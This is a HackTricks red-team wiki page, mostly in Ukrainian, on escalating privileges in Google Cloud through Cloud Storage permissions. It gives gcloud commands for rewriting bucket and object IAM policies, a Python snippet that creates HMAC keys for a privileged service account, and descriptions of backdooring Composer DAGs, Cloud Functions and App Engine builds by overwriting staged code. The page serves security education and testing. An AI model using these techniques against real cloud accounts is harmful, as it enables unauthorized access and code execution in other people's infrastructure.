GCP - Storage Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Storage

Базова інформація:

GCP - Storage Enum

storage.objects.get

Цей дозвіл дозволяє вам завантажувати файли, що зберігаються в Cloud Storage. Це потенційно дозволяє ескалювати привілеї, оскільки в деяких випадках там зберігається конфіденційна інформація. Більше того, деякі сервіси GCP зберігають свої дані в buckets:

  • GCP Composer: Коли ви створюєте Composer Environment, код усіх DAGs буде збережено в bucket. Ці таски можуть містити цікаву інформацію в своєму коді.
  • GCR (Container Registry): image контейнерів зберігаються в buckets, що означає, що якщо ви можете читати ці buckets, ви зможете завантажити образи та шукати leaks та/або вихідний код.

storage.objects.setIamPolicy

Цей дозвіл дозволяє вам зловживати будь-яким із попередніх сценаріїв цього розділу.

# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

storage.buckets.setIamPolicy

Для прикладу того, як змінювати дозволи з цим дозволом, перегляньте цю сторінку:

# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Функція “interoperability” Cloud Storage, призначена для взаємодії між хмарами (наприклад з AWS S3), передбачає створення HMAC ключів для Service Accounts та користувачів. Атакувальник може скористатися цим, створивши HMAC ключ для Service Account з підвищеними привілеями, тим самим підвищивши привілеї в Cloud Storage. Хоча HMAC ключі, пов’язані з користувачами, можна отримати лише через веб-консоль, ключ доступу та секретний ключ залишаються постійно доступними, що дозволяє зберігати їх як резервний доступ. Натомість HMAC ключі, прив’язані до Service Account, доступні через API, але їхні ключі доступу та секретні ключі неможливо отримати після створення, що ускладнює підтримку постійного доступу.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Ще один скрипт-експлойт для цього методу можна знайти тут.

storage.objects.create, storage.objects.delete = Права запису в Storage

Щоб створити новий об’єкт в бакеті потрібен storage.objects.create, і, згідно з the docs, також потрібен storage.objects.delete щоб змінити існуючий об’єкт.

Дуже поширеним способом експлуатації бакетів з правом запису є випадок, коли бакет зберігає файли вебсерверу — ви можете завантажити новий код, який буде використаний вебдодатком.

Composer

Composer — це Apache Airflow, керований в GCP. Має кілька цікавих особливостей:

  • Він запускається всередині GKE cluster, тому SA, який використовує кластер, доступний для коду, що виконується в Composer
  • Всі компоненти середовища Composer (код DAGs, плагіни та дані) зберігаються в GCP bucket. Якщо атакувач має права читання та запису, він може моніторити бакет і whenever a DAG is created or updated, submit a backdoored version, щоб середовище Composer отримало з Storage backdoored версію.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs

Cloud Functions

  • Код Cloud Functions зберігається в Storage і коли створюється нова версія, код завантажується в бакет, а потім з цього коду будується новий контейнер. Отже, перезаписати код до того, як буде збудована нова версія, дозволяє змусити cloud function виконати довільний код.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions

App Engine

Версії AppEngine генерують деякі дані в бакеті з назвою формату: staging.<project-id>.appspot.com. Всередині цього бакету можна знайти папку ae, яка міститиме папку на кожну версію додатку AppEngine, і всередині цих папок можна знайти файл manifest.json. Цей файл містить JSON зі списком усіх файлів, які мають бути використані для створення конкретної версії. Більше того, там можна знайти реальні імена файлів, URL до них всередині GCP bucket (файли в бакеті мають змінені імена на їх sha1 хеші) та sha1 хеш кожного файлу.

Note that it’s not possible to pre-takeover this bucket because GCP users aren’t authorized to generate buckets using the domain name appspot.com.

Однак, маючи права читання та запису в цей бакет, можна підняти привілеї до SA, прикріпленого до версії App Engine, відстежуючи бакет і щоразу при зміні (нова версія) якнайшвидше модифікуючи нову версію. Таким чином контейнер, створений із цього коду, виконає backdoored код.

Зазначену атаку можна виконати різними способами; всі вони починаються з моніторингу бакету staging.<project-id>.appspot.com:

  • Завантажити повний новий код версії AppEngine в інший доступний бакет і підготувати manifest.json файл з новою назвою бакету та sha1 хешами файлів. Потім, коли в оригінальному бакеті створюється нова версія, достатньо змінити manifest.json і завантажити шкідливий.
  • Завантажити змінений requirements.txt, який використовуватиме malicious dependencies code, і оновити manifest.json файлом з новим іменем файлу, URL та його хешем.
  • Завантажити змінений main.py або app.yaml, який виконуватиме шкідливий код, і оновити manifest.json файлом з новим іменем файлу, URL та його хешем.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-AppEngine

GCR

  • Google Container Registry зберігає образи в бакетах; якщо ви можете записувати в ці бакети, ви можете move laterally туди, де ці бакети виконуються.
  • Бакет, що використовує GCR, матиме URL, подібний до gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (Top level subdomains вказані here).

Tip

Ця служба застаріла, тому ця атака більше не є корисною. До того ж Artifact Registry, сервіс, що її заміняє, не зберігає образи в бакетах.

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks